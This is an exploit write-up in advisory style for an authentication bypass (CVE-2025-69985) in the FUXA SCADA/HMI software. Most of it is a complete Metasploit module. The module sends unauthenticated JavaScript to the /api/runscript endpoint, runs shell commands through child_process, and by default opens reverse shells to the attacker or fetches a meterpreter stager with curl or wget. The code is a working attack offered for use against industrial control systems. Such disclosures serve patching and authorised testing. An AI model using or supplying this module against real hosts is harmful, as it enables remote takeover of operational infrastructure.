============================================================================================================================================= | # Title : FUXA ≤ 1.2.8 Authentication Bypass Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://github.com/frangoteam/FUXA/ | ============================================================================================================================================= [+] Summary : This module adds support for exploiting CVE-2025-69985 in FUXA SCADA/HMI software (≤ 1.2.8). The vulnerability allows unauthenticated access to the /api/runscript endpoint due to an authentication bypass, leading to remote code execution via Node.js child_process.execSync. [+] The module implements: A reliable vulnerability check using direct JavaScript execution Command execution targets for Unix/Linux and Windows systems A Linux dropper target leveraging CmdStager (curl, wget, printf) Proper JSON handling and HTTP response validation Safe error handling aligned with Metasploit coding standards This implementation follows Rapid7 module development guidelines and includes stability, reliability, and side‑effect metadata. [+] POC : ## # This module requires Metasploit Framework ## require 'json' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'FUXA <= 1.2.8 Authentication Bypass Remote Code Execution', 'Description' => %q{ This module exploits CVE-2025-69985 in FUXA SCADA/HMI software. An authentication bypass allows unauthenticated access to the /api/runscript endpoint, resulting in remote command execution via Node.js child_process. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-69985'], ['URL', 'https://github.com/joshuavanderpoll/CVE-2025-69985'] ], 'Platform' => %w[win linux unix], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows Command', { 'Platform' => %w[win], 'Arch' => [ARCH_CMD], 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } } ], [ 'Linux Dropper', { 'Platform' => %w[linux], 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => %w[curl wget printf], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'FETCH_COMMAND' => 'curl' } } ] ], 'DisclosureDate' => '2026-02-01', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(1881), OptString.new('TARGETURI', [true, 'Base FUXA path', '/']), OptString.new('COMMAND', [false, 'Execute a single command']) ]) end def check print_status('Checking if target is vulnerable...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'runscript'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => { 'params' => { 'script' => { 'code' => 'return "msf_check";', 'test' => 'return "msf_check";' }, 'toLogEvent' => false } }.to_json }) return CheckCode::Unknown('No response from target') unless res return CheckCode::Safe("Unexpected HTTP status #{res.code}") unless res.code == 200 begin json = JSON.parse(res.body) return CheckCode::Vulnerable if json.to_s.include?('msf_check') rescue JSON::ParserError return CheckCode::Unknown('Response was not valid JSON') end CheckCode::Safe end def build_js_payload(command) escaped = Rex::Text.escape_js(command) <<~JS.strip const cp = require("child_process"); try { const result = cp.execSync("#{escaped}", { encoding: "utf8" }); return result.toString(); } catch (err) { return "ERR:" + err.message; } JS end def execute_command(cmd, _opts = {}) js_code = build_js_payload(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'runscript'), 'headers' => { 'Content-Type' => 'application/json', 'Referer' => full_uri.to_s }, 'data' => { 'params' => { 'script' => { 'id' => 'exploit', 'name' => 'exploit', 'code' => js_code, 'test' => js_code }, 'toLogEvent' => false } }.to_json }) unless res fail_with(Failure::Unreachable, 'Connection failed') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") end res.body end def exploit status = check fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless status == CheckCode::Vulnerable print_good('Target is vulnerable, proceeding with exploitation') case target['Type'] when :unix_cmd, :win_cmd if datastore['COMMAND'].present? output = execute_command(datastore['COMMAND']) print_line(output) else execute_command(payload.encoded) end when :linux_dropper execute_cmdstager else fail_with(Failure::BadConfig, 'Invalid target configuration') end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================